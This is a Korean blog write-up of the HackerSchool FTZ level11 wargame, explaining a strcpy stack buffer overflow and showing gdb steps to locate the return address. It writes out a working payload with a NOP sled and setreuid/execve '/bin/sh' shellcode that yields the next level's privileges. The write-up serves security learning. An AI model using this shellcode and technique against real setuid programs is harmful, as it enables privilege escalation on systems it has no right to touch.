안녕하세요.  오늘은 FTZ level11번을 풀었습니다.


level11번으로 접속하여 ls 명령어를 통해 파일을 확인합니다. hint를 읽어봅시당!!!

C 코드가 있습니다.. 여기서 strcpy( str, argv[1] ); 부분이 있습니다. 


strcpy 함수란 ?


strcpy 함수는, Stack Buffer Over Flow에 취약한 함수입니다. 

strcpybuf영역에 복사를 하면 아래쪽부터 위로 데이터가 채워집니다.

아래와 같이 argv1을 받아서 실행을 하면, 정상적으로 동작하는 것을 볼 수 있습니다.


여기서 strcpy()의 문제점은 '경계값을 체크하지 않는다' 라는 것입니다

때문에 Segmentation Fault가 발생 할 수 있습니다

만약, str[256]크기보다 넘으면, 스택의 다른 영역을 침범 할 수 있습니다.



먼저, attackme의 실행 권한 때문에 


cp ./attackme ./tmp/star 


명령어를 이용하여, /tmp/에 star라는 이름의 파일을 넣었습니다. 


다음으로, gdb를 이용해서 디버깅을 해보았습니다.  


(gdb) disas main 


을 입력하여 strcpy() 함수의 위치를 알아봅시다. 

strcpy의 주소는 0x804835c입니다.


그 다음

 (gdb)br *0x804835c 

를 입력하여, ret부분에서 브레이크 포인트를 걸어줍니다.


(gdb) r AAAA 


AAAA를 실행하도록 해봅시다. 


(gdb) x/50x $esp

를 사용하여 먼저 AAAA가 어느부분까지 들어갔는지 확인해봅시다. 



쭉죽쭉 내려가다보면... 아래로 쭉쭉 ..  

다음 사진 처럼 중간 부분에서 0x41414141이 나타납니다! 

이제 AAAA를 입력한 것과 같이 페이로드를 짜서 입력을 해봅시다.. 


r $(python -c "print 'A'*268+'BBBB'") $(python -c "print '\x90'*100 + '\x31\xc0\x31\xdb\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80'")


자.. 이렇게 입력해봅시다! 그리고 BBBB가 어느부분에 들어가는지 알아봅시다. 

다음 사진과 같이, ebp에 AAAA eip에 BBBB가 덮혀지는걸 알 수 있습니다.



이제 

(gbd) x/50x $esp 



909090로 BBBB가 들어가는 위치..와 구조를 파악합시다..

아래로 쭉쭉쭉 내려가다보면.. 9090하는부분이 나옵니다. 

여기서 한 부분만 선택해서, 해당  nop명령어가 실행되게 합시다.


제가 선택한 곳은 아래와 같이 중간부분에 해당하는, 

\xc8\xfb\xff\xbf

입니다. 이제 이부분에 우리가 원하는 쉘코드를 삽입해봅시다.


이제 아까 작성한 페이로드를 이용해 실행시켜봅시다.

BBBB에 9090의 위치 \xc8\xfb\xff\xbf 를 넣어주고 재실행합시다.


자 그럼 아래와 같이 level12의 권한을 얻고, my-pass명령어를 입력 할 수 있습니다.




짝짝짝!!! 수고하셨습니다.


level12 password : it is like this




with C.K zairo(zairo.tistory.com)

'Challenge > HackerSchool FTZ' 카테고리의 다른 글

HackerSchool FTZ - level11  (1) 2016.09.04
  1. zairo 2016.09.12 23:51 신고

    짝짝짝

+ Recent posts